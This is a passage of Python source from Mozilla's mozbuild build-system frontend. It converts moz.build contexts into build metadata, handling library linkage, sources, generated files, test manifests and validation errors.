time.time()\n # We need to expand the generator for the timings to work.\n objs = list(self.emit_from_context(out))\n self._emitter_time += time.time() - start\n\n for o in emit_objs(objs): yield o\n\n else:\n raise Exception('Unhandled output type: %s' % type(out))\n\n # Don't emit Linkable objects when COMPILE_ENVIRONMENT is explicitely\n # set to a value meaning false (usually '').\n if self.config.substs.get('COMPILE_ENVIRONMENT', True):\n start = time.time()\n objs = list(self._emit_libs_derived(contexts))\n self._emitter_time += time.time() - start\n\n for o in emit_objs(objs): yield o\n\n def _emit_libs_derived(self, contexts):\n # First do FINAL_LIBRARY linkage.\n for lib in (l for libs in self._libs.values() for l in libs):\n if not isinstance(lib, StaticLibrary) or not lib.link_into:\n continue\n if lib.link_into not in self._libs:\n raise SandboxValidationError(\n 'FINAL_LIBRARY (\"%s\") does not match any LIBRARY_NAME'\n % lib.link_into, contexts[lib.objdir])\n candidates = self._libs[lib.link_into]\n\n # When there are multiple candidates, but all are in the same\n # directory and have a different type, we want all of them to\n # have the library linked. The typical usecase is when building\n # both a static and a shared library in a directory, and having\n # that as a FINAL_LIBRARY.\n if len(set(type(l) for l in candidates)) == len(candidates) and \\\n len(set(l.objdir for l in candidates)) == 1:\n for c in candidates:\n c.link_library(lib)\n else:\n raise SandboxValidationError(\n 'FINAL_LIBRARY (\"%s\") matches a LIBRARY_NAME defined in '\n 'multiple places:\\n %s' % (lib.link_into,\n '\\n '.join(l.objdir for l in candidates)),\n contexts[lib.objdir])\n\n # Next, USE_LIBS linkage.\n for context, obj, variable in self._linkage:\n self._link_libraries(context, obj, variable)\n\n def recurse_refs(lib):\n for o in lib.refs:\n yield o\n if isinstance(o, StaticLibrary):\n for q in recurse_refs(o):\n yield q\n\n # Check that all static libraries refering shared libraries in\n # USE_LIBS are linked into a shared library or program.\n for lib in self._static_linking_shared:\n if all(isinstance(o, StaticLibrary) for o in recurse_refs(lib)):\n shared_libs = sorted(l.basename for l in lib.linked_libraries\n if isinstance(l, SharedLibrary))\n raise SandboxValidationError(\n 'The static \"%s\" library is not used in a shared library '\n 'or a program, but USE_LIBS contains the following shared '\n 'library names:\\n %s\\n\\nMaybe you can remove the '\n 'static \"%s\" library?' % (lib.basename,\n '\\n '.join(shared_libs), lib.basename),\n contexts[lib.objdir])\n\n # Propagate LIBRARY_DEFINES to all child libraries recursively.\n def propagate_defines(outerlib, defines):\n outerlib.defines.update(defines)\n for lib in outerlib.linked_libraries:\n # Propagate defines only along FINAL_LIBRARY paths, not USE_LIBS\n # paths.\n if (isinstance(lib, StaticLibrary) and\n lib.link_into == outerlib.basename):\n propagate_defines(lib, defines)\n\n for lib in (l for libs in self._libs.values() for l in libs):\n if isinstance(lib, Library):\n propagate_defines(lib, lib.defines)\n yield lib\n\n for obj in self._binaries.values():\n yield obj\n\n LIBRARY_NAME_VAR = {\n 'host': 'HOST_LIBRARY_NAME',\n 'target': 'LIBRARY_NAME',\n }\n\n def _link_libraries(self, context, obj, variable):\n \"\"\"Add linkage declarations to a given object.\"\"\"\n assert isinstance(obj, Linkable)\n\n for path in context.get(variable, []):\n force_static = path.startswith('static:') and obj.KIND == 'target'\n if force_static:\n path = path[7:]\n name = mozpath.basename(path)\n dir = mozpath.dirname(path)\n candidates = [l for l in self._libs[name] if l.KIND == obj.KIND]\n if dir:\n if dir.startswith('/'):\n dir = mozpath.normpath(\n mozpath.join(obj.topobjdir, dir[1:]))\n else:\n dir = mozpath.normpath(\n mozpath.join(obj.objdir, dir))\n dir = mozpath.relpath(dir, obj.topobjdir)\n candidates = [l for l in candidates if l.relobjdir == dir]\n if not candidates:\n # If the given directory is under one of the external\n # (third party) paths, use a fake library reference to\n # there.\n for d in self._external_paths:\n if dir.startswith('%s/' % d):\n candidates = [self._get_external_library(dir, name,\n force_static)]\n break\n\n if not candidates:\n raise SandboxValidationError(\n '%s contains \"%s\", but there is no \"%s\" %s in %s.'\n % (variable, path, name,\n self.LIBRARY_NAME_VAR[obj.KIND], dir), context)\n\n if len(candidates) > 1:\n # If there's more than one remaining candidate, it could be\n # that there are instances for the same library, in static and\n # shared form.\n libs = {}\n for l in candidates:\n key = mozpath.join(l.relobjdir, l.basename)\n if force_static:\n if isinstance(l, StaticLibrary):\n libs[key] = l\n else:\n if key in libs and isinstance(l, SharedLibrary):\n libs[key] = l\n if key not in libs:\n libs[key] = l\n candidates = libs.values()\n if force_static and not candidates:\n if dir:\n raise SandboxValidationError(\n '%s contains \"static:%s\", but there is no static '\n '\"%s\" %s in %s.' % (variable, path, name,\n self.LIBRARY_NAME_VAR[obj.KIND], dir), context)\n raise SandboxValidationError(\n '%s contains \"static:%s\", but there is no static \"%s\" '\n '%s in the tree' % (variable, name, name,\n self.LIBRARY_NAME_VAR[obj.KIND]), context)\n\n if not candidates:\n raise SandboxValidationError(\n '%s contains \"%s\", which does not match any %s in the tree.'\n % (variable, path, self.LIBRARY_NAME_VAR[obj.KIND]),\n context)\n\n elif len(candidates) > 1:\n paths = (mozpath.join(l.relativedir, 'moz.build')\n for l in candidates)\n raise SandboxValidationError(\n '%s contains \"%s\", which matches a %s defined in multiple '\n 'places:\\n %s' % (variable, path,\n self.LIBRARY_NAME_VAR[obj.KIND],\n '\\n '.join(paths)), context)\n\n elif force_static and not isinstance(candidates[0], StaticLibrary):\n raise SandboxValidationError(\n '%s contains \"static:%s\", but there is only a shared \"%s\" '\n 'in %s. You may want to add FORCE_STATIC_LIB=True in '\n '%s/moz.build, or remove \"static:\".' % (variable, path,\n name, candidates[0].relobjdir, candidates[0].relobjdir),\n context)\n\n elif isinstance(obj, StaticLibrary) and isinstance(candidates[0],\n SharedLibrary):\n self._static_linking_shared.add(obj)\n obj.link_library(candidates[0])\n\n # Link system libraries from OS_LIBS/HOST_OS_LIBS.\n for lib in context.get(variable.replace('USE', 'OS'), []):\n obj.link_system_library(lib)\n\n @memoize\n def _get_external_library(self, dir, name, force_static):\n # Create ExternalStaticLibrary or ExternalSharedLibrary object with a\n # context more or less truthful about where the external library is.\n context = Context(config=self.config)\n context.add_source(mozpath.join(self.config.topsrcdir, dir, 'dummy'))\n if force_static:\n return ExternalStaticLibrary(context, name)\n else:\n return ExternalSharedLibrary(context, name)\n\n def _handle_libraries(self, context):\n host_libname = context.get('HOST_LIBRARY_NAME')\n libname = context.get('LIBRARY_NAME')\n\n if host_libname:\n if host_libname == libname:\n raise SandboxValidationError('LIBRARY_NAME and '\n 'HOST_LIBRARY_NAME must have a different value', context)\n lib = HostLibrary(context, host_libname)\n self._libs[host_libname].append(lib)\n self._linkage.append((context, lib, 'HOST_USE_LIBS'))\n\n final_lib = context.get('FINAL_LIBRARY')\n if not libname and final_lib:\n # If no LIBRARY_NAME is given, create one.\n libname = context.relsrcdir.replace('/', '_')\n\n static_lib = context.get('FORCE_STATIC_LIB')\n shared_lib = context.get('FORCE_SHARED_LIB')\n\n static_name = context.get('STATIC_LIBRARY_NAME')\n shared_name = context.get('SHARED_LIBRARY_NAME')\n\n is_framework = context.get('IS_FRAMEWORK')\n is_component = context.get('IS_COMPONENT')\n\n soname = context.get('SONAME')\n\n lib_defines = context.get('LIBRARY_DEFINES')\n\n shared_args = {}\n static_args = {}\n\n if final_lib:\n if static_lib:\n raise SandboxValidationError(\n 'FINAL_LIBRARY implies FORCE_STATIC_LIB. '\n 'Please remove the latter.', context)\n if shared_lib:\n raise SandboxValidationError(\n 'FINAL_LIBRARY conflicts with FORCE_SHARED_LIB. '\n 'Please remove one.', context)\n if is_framework:\n raise SandboxValidationError(\n 'FINAL_LIBRARY conflicts with IS_FRAMEWORK. '\n 'Please remove one.', context)\n if is_component:\n raise SandboxValidationError(\n 'FINAL_LIBRARY conflicts with IS_COMPONENT. '\n 'Please remove one.', context)\n static_args['link_into'] = final_lib\n static_lib = True\n\n if libname:\n if is_component:\n if static_lib:\n raise SandboxValidationError(\n 'IS_COMPONENT conflicts with FORCE_STATIC_LIB. '\n 'Please remove one.', context)\n shared_lib = True\n shared_args['variant'] = SharedLibrary.COMPONENT\n\n if is_framework:\n if soname:\n raise SandboxValidationError(\n 'IS_FRAMEWORK conflicts with SONAME. '\n 'Please remove one.', context)\n shared_lib = True\n shared_args['variant'] = SharedLibrary.FRAMEWORK\n\n if not static_lib and not shared_lib:\n static_lib = True\n\n if static_name:\n if not static_lib:\n raise SandboxValidationError(\n 'STATIC_LIBRARY_NAME requires FORCE_STATIC_LIB',\n context)\n static_args['real_name'] = static_name\n\n if shared_name:\n if not shared_lib:\n raise SandboxValidationError(\n 'SHARED_LIBRARY_NAME requires FORCE_SHARED_LIB',\n context)\n shared_args['real_name'] = shared_name\n\n if soname:\n if not shared_lib:\n raise SandboxValidationError(\n 'SONAME requires FORCE_SHARED_LIB', context)\n shared_args['soname'] = soname\n\n # If both a shared and a static library are created, only the\n # shared library is meant to be a SDK library.\n if context.get('SDK_LIBRARY'):\n if shared_lib:\n shared_args['is_sdk'] = True\n elif static_lib:\n static_args['is_sdk'] = True\n\n if context.get('NO_EXPAND_LIBS'):\n if not static_lib:\n raise SandboxValidationError(\n 'NO_EXPAND_LIBS can only be set for static libraries.',\n context)\n static_args['no_expand_lib'] = True\n\n if shared_lib and static_lib:\n if not static_name and not shared_name:\n raise SandboxValidationError(\n 'Both FORCE_STATIC_LIB and FORCE_SHARED_LIB are True, '\n 'but neither STATIC_LIBRARY_NAME or '\n 'SHARED_LIBRARY_NAME is set. At least one is required.',\n context)\n if static_name and not shared_name and static_name == libname:\n raise SandboxValidationError(\n 'Both FORCE_STATIC_LIB and FORCE_SHARED_LIB are True, '\n 'but STATIC_LIBRARY_NAME is the same as LIBRARY_NAME, '\n 'and SHARED_LIBRARY_NAME is unset. Please either '\n 'change STATIC_LIBRARY_NAME or LIBRARY_NAME, or set '\n 'SHARED_LIBRARY_NAME.', context)\n if shared_name and not static_name and shared_name == libname:\n raise SandboxValidationError(\n 'Both FORCE_STATIC_LIB and FORCE_SHARED_LIB are True, '\n 'but SHARED_LIBRARY_NAME is the same as LIBRARY_NAME, '\n 'and STATIC_LIBRARY_NAME is unset. Please either '\n 'change SHARED_LIBRARY_NAME or LIBRARY_NAME, or set '\n 'STATIC_LIBRARY_NAME.', context)\n if shared_name and static_name and shared_name == static_name:\n raise SandboxValidationError(\n 'Both FORCE_STATIC_LIB and FORCE_SHARED_LIB are True, '\n 'but SHARED_LIBRARY_NAME is the same as '\n 'STATIC_LIBRARY_NAME. Please change one of them.',\n context)\n\n if shared_lib:\n lib = SharedLibrary(context, libname, **shared_args)\n self._libs[libname].append(lib)\n self._linkage.append((context, lib, 'USE_LIBS'))\n if is_component and not context['NO_COMPONENTS_MANIFEST']:\n yield ChromeManifestEntry(context,\n 'components/components.manifest',\n ManifestBinaryComponent('components', lib.lib_name))\n if static_lib:\n lib = StaticLibrary(context, libname, **static_args)\n self._libs[libname].append(lib)\n self._linkage.append((context, lib, 'USE_LIBS'))\n\n if lib_defines:\n if not libname:\n raise SandboxValidationError('LIBRARY_DEFINES needs a '\n 'LIBRARY_NAME to take effect', context)\n lib.defines.update(lib_defines)\n\n def emit_from_context(self, context):\n \"\"\"Convert a Context to tree metadata objects.\n\n This is a generator of mozbuild.frontend.data.ContextDerived instances.\n \"\"\"\n\n # We only want to emit an InstallationTarget if one of the consulted\n # variables is defined. Later on, we look up FINAL_TARGET, which has\n # the side-effect of populating it. So, we need to do this lookup\n # early.\n if any(k in context for k in ('FINAL_TARGET', 'XPI_NAME', 'DIST_SUBDIR')):\n yield InstallationTarget(context)\n\n # We always emit a directory traversal descriptor. This is needed by\n # the recursive make backend.\n for o in self._emit_directory_traversal_from_context(context): yield o\n\n for path in context['CONFIGURE_SUBST_FILES']:\n yield self._create_substitution(ConfigFileSubstitution, context,\n path)\n\n for path in context['CONFIGURE_DEFINE_FILES']:\n yield self._create_substitution(HeaderFileSubstitution, context,\n path)\n\n for obj in self._process_xpidl(context):\n yield obj\n\n # Proxy some variables as-is until we have richer classes to represent\n # them. We should aim to keep this set small because it violates the\n # desired abstraction of the build definition away from makefiles.\n passthru = VariablePassthru(context)\n varlist = [\n 'ALLOW_COMPILER_WARNINGS',\n 'ANDROID_APK_NAME',\n 'ANDROID_APK_PACKAGE',\n 'ANDROID_GENERATED_RESFILES',\n 'DISABLE_STL_WRAPPING',\n 'EXTRA_DSO_LDOPTS',\n 'USE_STATIC_LIBS',\n 'PYTHON_UNIT_TESTS',\n 'RCFILE',\n 'RESFILE',\n 'RCINCLUDE',\n 'DEFFILE',\n 'WIN32_EXE_LDFLAGS',\n 'LD_VERSION_SCRIPT',\n 'USE_EXTENSION_MANIFEST',\n 'NO_JS_MANIFEST',\n ]\n for v in varlist:\n if v in context and context[v]:\n passthru.variables[v] = context[v]\n\n if context.config.substs.get('OS_TARGET') == 'WINNT' and \\\n context['DELAYLOAD_DLLS']:\n context['LDFLAGS'].extend([('-DELAYLOAD:%s' % dll)\n for dll in context['DELAYLOAD_DLLS']])\n context['OS_LIBS'].append('delayimp')\n\n for v in ['CFLAGS', 'CXXFLAGS', 'CMFLAGS', 'CMMFLAGS', 'ASFLAGS',\n 'LDFLAGS', 'HOST_CFLAGS', 'HOST_CXXFLAGS']:\n if v in context and context[v]:\n passthru.variables['MOZBUILD_' + v] = context[v]\n\n # NO_VISIBILITY_FLAGS is slightly different\n if context['NO_VISIBILITY_FLAGS']:\n passthru.variables['VISIBILITY_FLAGS'] = ''\n\n if isinstance(context, TemplateContext) and context.template == 'Gyp':\n passthru.variables['IS_GYP_DIR'] = True\n\n dist_install = context['DIST_INSTALL']\n if dist_install is True:\n passthru.variables['DIST_INSTALL'] = True\n elif dist_install is False:\n passthru.variables['NO_DIST_INSTALL'] = True\n\n for obj in self._process_sources(context, passthru):\n yield obj\n\n generated_files = set()\n for obj in self._process_generated_files(context):\n generated_files.add(obj.output)\n yield obj\n\n for obj in self._process_test_harness_files(context):\n yield obj\n\n defines = context.get('DEFINES')\n if defines:\n yield Defines(context, defines)\n\n host_defines = context.get('HOST_DEFINES')\n if host_defines:\n yield HostDefines(context, host_defines)\n\n self._handle_programs(context)\n\n simple_lists = [\n ('GENERATED_EVENTS_WEBIDL_FILES', GeneratedEventWebIDLFile),\n ('GENERATED_WEBIDL_FILES', GeneratedWebIDLFile),\n ('IPDL_SOURCES', IPDLFile),\n ('PREPROCESSED_TEST_WEBIDL_FILES', PreprocessedTestWebIDLFile),\n ('PREPROCESSED_WEBIDL_FILES', PreprocessedWebIDLFile),\n ('TEST_WEBIDL_FILES', TestWebIDLFile),\n ('WEBIDL_FILES', WebIDLFile),\n ('WEBIDL_EXAMPLE_INTERFACES', ExampleWebIDLInterface),\n ]\n for context_var, klass in simple_lists:\n for name in context.get(context_var, []):\n yield klass(context, name)\n\n for local_include in context.get('LOCAL_INCLUDES', []):\n if (not isinstance(local_include, ObjDirPath) and\n not os.path.exists(local_include.full_path)):\n raise SandboxValidationError('Path specified in LOCAL_INCLUDES '\n 'does not exist: %s (resolved to %s)' % (local_include,\n local_include.full_path), context)\n yield LocalInclude(context, local_include)\n\n components = []\n for var, cls in (\n ('EXPORTS', Exports),\n ('FINAL_TARGET_FILES', FinalTargetFiles),\n ('FINAL_TARGET_PP_FILES', FinalTargetPreprocessedFiles),\n ('TESTING_FILES', TestingFiles),\n ):\n all_files = context.get(var)\n if not all_files:\n continue\n if dist_install is False and var != 'TESTING_FILES':\n raise SandboxValidationError(\n '%s cannot be used with DIST_INSTALL = False' % var,\n context)\n has_prefs = False\n has_resources = False\n for base, files in all_files.walk():\n if base == 'components':\n components.extend(files)\n if base == 'defaults/pref':\n has_prefs = True\n if mozpath.split(base)[0] == 'res':\n has_resources = True\n for f in files:\n if (var == 'FINAL_TARGET_PP_FILES' and\n not isinstance(f, SourcePath)):\n raise SandboxValidationError(\n ('Only source directory paths allowed in ' +\n 'FINAL_TARGET_PP_FILES: %s')\n % (f,), context)\n if not isinstance(f, ObjDirPath):\n path = f.full_path\n if not os.path.exists(path):\n raise SandboxValidationError(\n 'File listed in %s does not exist: %s'\n % (var, path), context)\n else:\n if mozpath.basename(f.full_path) not in generated_files:\n raise SandboxValidationError(\n ('Objdir file listed in %s not in ' +\n 'GENERATED_FILES: %s') % (var, path), context)\n\n # Addons (when XPI_NAME is defined) and Applications (when\n # DIST_SUBDIR is defined) use a different preferences directory\n # (default/preferences) from the one the GRE uses (defaults/pref).\n # Hence, we move the files from the latter to the former in that\n # case.\n if has_prefs and (context.get('XPI_NAME') or\n context.get('DIST_SUBDIR')):\n all_files.defaults.preferences += all_files.defaults.pref\n del all_files.defaults._children['pref']\n\n if has_resources and (context.get('DIST_SUBDIR') or\n context.get('XPI_NAME')):\n raise SandboxValidationError(\n 'RESOURCES_FILES cannot be used with DIST_SUBDIR or '\n 'XPI_NAME.', context)\n\n yield cls(context, all_files)\n\n # Check for manifest declarations in EXTRA_{PP_,}COMPONENTS.\n if any(e.endswith('.js') for e in components) and \\\n not any(e.endswith('.manifest') for e in components) and \\\n not context.get('NO_JS_MANIFEST', False):\n raise SandboxValidationError('A .js component was specified in EXTRA_COMPONENTS '\n 'or EXTRA_PP_COMPONENTS without a matching '\n '.manifest file. See '\n 'https://developer.mozilla.org/en/XPCOM/XPCOM_changes_in_Gecko_2.0 .',\n context);\n\n for c in components:\n if c.endswith('.manifest'):\n yield ChromeManifestEntry(context, 'chrome.manifest',\n Manifest('components',\n mozpath.basename(c)))\n\n branding_files = context.get('BRANDING_FILES')\n if branding_files:\n yield BrandingFiles(context, branding_files)\n\n for obj in self._handle_libraries(context):\n yield obj\n\n for obj in self._process_test_manifests(context):\n yield obj\n\n for obj in self._process_jar_manifests(context):\n yield obj\n\n for name, jar in context.get('JAVA_JAR_TARGETS', {}).items():\n yield ContextWrapped(context, jar)\n\n for name, data in context.get('ANDROID_ECLIPSE_PROJECT_TARGETS', {}).items():\n yield ContextWrapped(context, data)\n\n for (symbol, cls) in [\n ('ANDROID_RES_DIRS', AndroidResDirs),\n ('ANDROID_EXTRA_RES_DIRS', AndroidExtraResDirs),\n ('ANDROID_ASSETS_DIRS', AndroidAssetsDirs)]:\n paths = context.get(symbol)\n if not paths:\n continue\n for p in paths:\n if isinstance(p, SourcePath) and not os.path.isdir(p.full_path):\n raise SandboxValidationError('Directory listed in '\n '%s is not a directory: \\'%s\\'' %\n (symbol, p.full_path), context)\n yield cls(context, paths)\n\n android_extra_packages = context.get('ANDROID_EXTRA_PACKAGES')\n if android_extra_packages:\n yield AndroidExtraPackages(context, android_extra_packages)\n\n if passthru.variables:\n yield passthru\n\n def _create_substitution(self, cls, context, path):\n sub = cls(context)\n sub.input_path = '%s.in' % path.full_path\n sub.output_path = path.translated\n sub.relpath = path\n\n return sub\n\n def _process_sources(self, context, passthru):\n sources = defaultdict(list)\n gen_sources = defaultdict(list)\n all_flags = {}\n for symbol in ('SOURCES', 'HOST_SOURCES', 'UNIFIED_SOURCES'):\n srcs = sources[symbol]\n gen_srcs = gen_sources[symbol]\n context_srcs = context.get(symbol, [])\n for f in context_srcs:\n full_path = f.full_path\n if isinstance(f, SourcePath):\n srcs.append(full_path)\n else:\n assert isinstance(f, Path)\n gen_srcs.append(full_path)\n if symbol == 'SOURCES':\n flags = context_srcs[f]\n if flags:\n all_flags[full_path] = flags\n\n if isinstance(f, SourcePath) and not os.path.exists(full_path):\n raise SandboxValidationError('File listed in %s does not '\n 'exist: \\'%s\\'' % (symbol, full_path), context)\n\n # HOST_SOURCES and UNIFIED_SOURCES only take SourcePaths, so\n # there should be no generated source in here\n assert not gen_sources['HOST_SOURCES']\n assert not gen_sources['UNIFIED_SOURCES']\n\n no_pgo = context.get('NO_PGO')\n no_pgo_sources = [f for f, flags in all_flags.iteritems()\n if flags.no_pgo]\n if no_pgo:\n if no_pgo_sources:\n raise SandboxValidationError('NO_PGO and SOURCES[...].no_pgo '\n 'cannot be set at the same time', context)\n passthru.variables['NO_PROFILE_GUIDED_OPTIMIZE'] = no_pgo\n if no_pgo_sources:\n passthru.variables['NO_PROFILE_GUIDED_OPTIMIZE'] = no_pgo_sources\n\n # A map from \"canonical suffixes\" for a particular source file\n # language to the range of suffixes associated with that language.\n #\n # We deliberately don't list the canonical suffix in the suffix list\n # in the definition; we'll add it in programmatically after defining\n # things.\n suffix_map = {\n '.s': set(['.asm']),\n '.c': set(),\n '.m': set(),\n '.mm': set(),\n '.cpp': set(['.cc', '.cxx']),\n '.rs': set(),\n '.S': set(),\n }\n\n # The inverse of the above, mapping suffixes to their canonical suffix.\n canonicalized_suffix_map = {}\n for suffix, alternatives in suffix_map.iteritems():\n alternatives.add(suffix)\n for a in alternatives:\n canonicalized_suffix_map[a] = suffix\n\n def canonical_suffix_for_file(f):\n return canonicalized_suffix_map[mozpath.splitext(f)[1]]\n\n # A map from moz.build variables to the canonical suffixes of file\n # kinds that can be listed therein.\n all_suffixes = list(suffix_map.keys())\n varmap = dict(\n SOURCES=(Sources, GeneratedSources, all_suffixes),\n HOST_SOURCES=(HostSources, None, ['.c', '.mm', '.cpp']),\n UNIFIED_SOURCES=(UnifiedSources, None, ['.c', '.mm', '.cpp']),\n )\n\n for variable, (klass, gen_klass, suffixes) in varmap.items():\n allowed_suffixes = set().union(*[suffix_map[s] for s in suffixes])\n\n # First ensure that we haven't been given filetypes that we don't\n # recognize.\n for f in itertools.chain(sources[variable], gen_sources[variable]):\n ext = mozpath.splitext(f)[1]\n if ext not in allowed_suffixes:\n raise SandboxValidationError(\n '%s has an unknown file type.' % f, context)\n\n for srcs, cls in ((sources[variable], klass),\n (gen_sources[variable], gen_klass)):\n # Now sort the files to let groupby work.\n sorted_files = sorted(srcs, key=canonical_suffix_for_file)\n for canonical_suffix, files in itertools.groupby(\n sorted_files, canonical_suffix_for_file):\n arglist = [context, list(files), canonical_suffix]\n if (variable.startswith('UNIFIED_') and\n 'FILES_PER_UNIFIED_FILE' in context):\n arglist.append(context['FILES_PER_UNIFIED_FILE'])\n yield cls(*arglist)\n\n for f, flags in all_flags.iteritems():\n if flags.flags:\n ext = mozpath.splitext(f)[1]\n yield PerSourceFlag(context, f, flags.flags)\n\n def _process_xpidl(self, context):\n # XPIDL source files get processed and turned into .h and .xpt files.\n # If there are multiple XPIDL files in a directory, they get linked\n # together into a final .xpt, which has the name defined by\n # XPIDL_MODULE.\n xpidl_module = context['XPIDL_MODULE']\n\n if context['XPIDL_SOURCES'] and not xpidl_module:\n raise SandboxValidationError('XPIDL_MODULE must be defined if '\n 'XPIDL_SOURCES is defined.', context)\n\n if xpidl_module and not context['XPIDL_SOURCES']:\n raise SandboxValidationError('XPIDL_MODULE cannot be defined '\n 'unless there are XPIDL_SOURCES', context)\n\n if context['XPIDL_SOURCES'] and context['DIST_INSTALL'] is False:\n self.log(logging.WARN, 'mozbuild_warning', dict(\n path=context.main_path),\n '{path}: DIST_INSTALL = False has no effect on XPIDL_SOURCES.')\n\n for idl in context['XPIDL_SOURCES']:\n yield XPIDLFile(context, mozpath.join(context.srcdir, idl),\n xpidl_module, add_to_manifest=not context['XPIDL_NO_MANIFEST'])\n\n def _process_generated_files(self, context):\n generated_files = context.get('GENERATED_FILES')\n if not generated_files:\n return\n\n for f in generated_files:\n flags = generated_files[f]\n output = f\n inputs = []\n if flags.script:\n method = \"main\"\n script = SourcePath(context, flags.script).full_path\n\n # Deal with cases like \"C:\\\\path\\\\to\\\\script.py:function\".\n if '.py:' in script:\n script, method = script.rsplit('.py:', 1)\n script += '.py'\n\n if not os.path.exists(script):\n raise SandboxValidationError(\n 'Script for generating %s does not exist: %s'\n % (f, script), context)\n if os.path.splitext(script)[1] != '.py':\n raise SandboxValidationError(\n 'Script for generating %s does not end in .py: %s'\n % (f, script), context)\n\n for i in flags.inputs:\n p = Path(context, i)\n if (isinstance(p, SourcePath) and\n not os.path.exists(p.full_path)):\n raise SandboxValidationError(\n 'Input for generating %s does not exist: %s'\n % (f, p.full_path), context)\n inputs.append(p.full_path)\n else:\n script = None\n method = None\n yield GeneratedFile(context, script, method, output, inputs)\n\n def _process_test_harness_files(self, context):\n test_harness_files = context.get('TEST_HARNESS_FILES')\n if not test_harness_files:\n return\n\n srcdir_files = defaultdict(list)\n srcdir_pattern_files = defaultdict(list)\n objdir_files = defaultdict(list)\n\n for path, strings in test_harness_files.walk():\n if not path and strings:\n raise SandboxValidationError(\n 'Cannot install files to the root of TEST_HARNESS_FILES', context)\n\n for s in strings:\n # Ideally, TEST_HARNESS_FILES would expose Path instances, but\n # subclassing HierarchicalStringList to be ContextDerived is\n # painful, so until we actually kill HierarchicalStringList,\n # just do Path manipulation here.\n p = Path(context, s)\n if isinstance(p, ObjDirPath):\n objdir_files[path].append(p.full_path)\n elif '*' in s:\n resolved = p.full_path\n if s[0] == '/':\n pattern_start = resolved.index('*')\n base_path = mozpath.dirname(resolved[:pattern_start])\n pattern = resolved[len(base_path)+1:]\n else:\n base_path = context.srcdir\n pattern = s\n srcdir_pattern_files[path].append((base_path, pattern));\n elif not os.path.exists(p.full_path):\n raise SandboxValidationError(\n 'File listed in TEST_HARNESS_FILES does not exist: %s' % s, context)\n else:\n srcdir_files[path].append(p.full_path)\n\n yield TestHarnessFiles(context, srcdir_files,\n srcdir_pattern_files, objdir_files)\n\n def _handle_programs(self, context):\n for kind, cls in [('PROGRAM', Program), ('HOST_PROGRAM', HostProgram)]:\n program = context.get(kind)\n if program:\n if program in self._binaries:\n raise SandboxValidationError(\n 'Cannot use \"%s\" as %s name, '\n 'because it is already used in %s' % (program, kind,\n self._binaries[program].relativedir), context)\n self._binaries[program] = cls(context, program)\n self._linkage.append((context, self._binaries[program],\n kind.replace('PROGRAM', 'USE_LIBS')))\n\n for kind, cls in [\n ('SIMPLE_PROGRAMS', SimpleProgram),\n ('CPP_UNIT_TESTS', SimpleProgram),\n ('HOST_SIMPLE_PROGRAMS', HostSimpleProgram)]:\n for program in context[kind]:\n if program in self._binaries:\n raise SandboxValidationError(\n 'Cannot use \"%s\" in %s, '\n 'because it is already used in %s' % (program, kind,\n self._binaries[program].relativedir), context)\n self._binaries[program] = cls(context, program,\n is_unit_test=kind == 'CPP_UNIT_TESTS')\n self._linkage.append((context, self._binaries[program],\n 'HOST_USE_LIBS' if kind == 'HOST_SIMPLE_PROGRAMS'\n else 'USE_LIBS'))\n\n def _process_test_manifests(self, context):\n\n for prefix, info in TEST_MANIFESTS.items():\n for path in context.get('%s_MANIFESTS' % prefix, []):\n for obj in self._process_test_manifest(context, info, path):\n yield obj\n\n for flavor in REFTEST_FLAVORS:\n for path in context.get('%s_MANIFESTS' % flavor.upper(), []):\n for obj in self._process_reftest_manifest(context, flavor, path):\n yield obj\n\n for flavor in WEB_PATFORM_TESTS_FLAVORS:\n for path in context.get(\"%s_MANIFESTS\" % flavor.upper().replace('-', '_'), []):\n for obj in self._process_web_platform_tests_manifest(context, path):\n yield obj\n\n def _process_test_manifest(self, context, info, manifest_path):\n flavor, install_root, install_subdir, package_tests = info\n\n manifest_path = mozpath.normpath(manifest_path)\n path = mozpath.normpath(mozpath.join(context.srcdir, manifest_path))\n manifest_dir = mozpath.dirname(path)\n manifest_reldir = mozpath.dirname(mozpath.relpath(path,\n context.config.topsrcdir))\n install_prefix = mozpath.join(install_root, install_subdir)\n\n try:\n m = manifestparser.TestManifest(manifests=[path], strict=True,\n rootdir=context.config.topsrcdir)\n defaults = m.manifest_defaults[os.path.normpath(path)]\n if not m.tests and not 'support-files' in defaults:\n raise SandboxValidationError('Empty test manifest: %s'\n % path, context)\n\n obj = TestManifest(context, path, m, flavor=flavor,\n install_prefix=install_prefix,\n relpath=mozpath.join(manifest_reldir, mozpath.basename(path)),\n dupe_manifest='dupe-manifest' in defaults)\n\n filtered = m.tests\n\n # Jetpack add-on tests are expected to be generated during the\n # build process so they won't exist here.\n if flavor != 'jetpack-addon':\n missing = [t['name'] for t in filtered if not os.path.exists(t['path'])]\n if missing:\n raise SandboxValidationError('Test manifest (%s) lists '\n 'test that does not exist: %s' % (\n path, ', '.join(missing)), context)\n\n out_dir = mozpath.join(install_prefix, manifest_reldir)\n if 'install-to-subdir' in defaults:\n # This is terrible, but what are you going to do?\n out_dir = mozpath.join(out_dir, defaults['install-to-subdir'])\n obj.manifest_obj_relpath = mozpath.join(manifest_reldir,\n defaults['install-to-subdir'],\n mozpath.basename(path))\n\n\n # \"head\" and \"tail\" lists.\n # All manifests support support-files.\n #\n # Keep a set of already seen support file patterns, because\n # repeatedly processing the patterns from the default section\n # for every test is quite costly (see bug 922517).\n extras = (('head', set()),\n ('tail', set()),\n ('support-files', set()))\n def process_support_files(test):\n for thing, seen in extras:\n value = test.get(thing, '')\n if value in seen:\n continue\n seen.add(value)\n for pattern in value.split():\n # We only support globbing on support-files because\n # the harness doesn't support * for head and tail.\n if '*' in pattern and thing == 'support-files':\n obj.pattern_installs.append(\n (manifest_dir, pattern, out_dir))\n # \"absolute\" paths identify files that are to be\n # placed in the install_root directory (no globs)\n elif pattern[0] == '/':\n full = mozpath.normpath(mozpath.join(manifest_dir,\n mozpath.basename(pattern)))\n obj.installs[full] = (mozpath.join(install_root,\n pattern[1:]), False)\n else:\n full = mozpath.normpath(mozpath.join(manifest_dir,\n pattern))\n\n dest_path = mozpath.join(out_dir, pattern)\n\n # If the path resolves to a different directory\n # tree, we take special behavior depending on the\n # entry type.\n if not full.startswith(manifest_dir):\n # If it's a support file, we install the file\n # into the current destination directory.\n # This implementation makes installing things\n # with custom prefixes impossible. If this is\n # needed, we can add support for that via a\n # special syntax later.\n if thing == 'support-files':\n dest_path = mozpath.join(out_dir,\n os.path.basename(pattern))\n # If it's not a support file, we ignore it.\n # This preserves old behavior so things like\n # head files doesn't get installed multiple\n # times.\n else:\n continue\n\n obj.installs[full] = (mozpath.normpath(dest_path),\n 